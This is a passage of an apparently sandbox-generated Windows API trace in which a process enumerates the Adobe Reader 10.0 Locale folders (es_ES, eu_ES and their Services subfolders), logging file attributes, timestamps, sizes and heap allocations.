ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.738] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0218.738] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0218.738] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0218.738] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0218.738] GetProcessHeap () returned 0x550000 [0218.739] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0218.739] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.DEU", cAlternateFileName="")) returned 1 [0218.739] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4be5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.DEU", cAlternateFileName="")) returned 1 [0218.739] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.DEU", cAlternateFileName="")) returned 1 [0218.739] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.DEU", cAlternateFileName="")) returned 0 [0218.739] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0218.739] GetProcessHeap () returned 0x550000 [0218.739] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0218.739] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_ES", cAlternateFileName="")) returned 1 [0218.739] GetProcessHeap () returned 0x550000 [0218.739] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0218.739] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0219.048] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.048] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.ESP", cAlternateFileName="ACCESS~1.ESP")) returned 1 [0219.048] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.ESP", cAlternateFileName="")) returned 1 [0219.048] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.ESP", cAlternateFileName="ADOBEC~1.ESP")) returned 1 [0219.048] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d6d1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ec00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.ESP", cAlternateFileName="")) returned 1 [0219.049] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.ESP", cAlternateFileName="BRDLAN~1.ESP")) returned 1 [0219.049] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.ESP", cAlternateFileName="")) returned 1 [0219.049] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.ESP", cAlternateFileName="")) returned 1 [0219.049] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.ESP", cAlternateFileName="")) returned 1 [0219.049] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.ESP", cAlternateFileName="")) returned 1 [0219.049] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.ESP", cAlternateFileName="")) returned 1 [0219.049] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.ESP", cAlternateFileName="")) returned 1 [0219.049] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.ESP", cAlternateFileName="MAKEAC~1.ESP")) returned 1 [0219.049] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.ESP", cAlternateFileName="MULTIM~1.ESP")) returned 1 [0219.049] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.ESP", cAlternateFileName="")) returned 1 [0219.049] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x83c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.ESP", cAlternateFileName="")) returned 1 [0219.049] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8506c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x156a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.ESP", cAlternateFileName="")) returned 1 [0219.049] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.ESP", cAlternateFileName="READOU~1.ESP")) returned 1 [0219.050] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.ESP", cAlternateFileName="")) returned 1 [0219.050] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.ESP", cAlternateFileName="SAVEAS~1.ESP")) returned 1 [0219.050] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.ESP", cAlternateFileName="")) returned 1 [0219.050] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.ESP", cAlternateFileName="")) returned 1 [0219.050] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0219.050] GetProcessHeap () returned 0x550000 [0219.050] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0219.050] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0219.050] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.050] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9480, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0219.050] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0219.050] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0219.051] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0219.051] GetProcessHeap () returned 0x550000 [0219.051] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0219.051] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.ESP", cAlternateFileName="")) returned 1 [0219.051] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4e4720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.ESP", cAlternateFileName="")) returned 1 [0219.051] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.ESP", cAlternateFileName="")) returned 1 [0219.051] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.ESP", cAlternateFileName="")) returned 0 [0219.051] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0219.051] GetProcessHeap () returned 0x550000 [0219.052] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0219.052] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu_ES", cAlternateFileName="")) returned 1 [0219.052] GetProcessHeap () returned 0x550000 [0219.052] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0219.052] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0219.107] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, 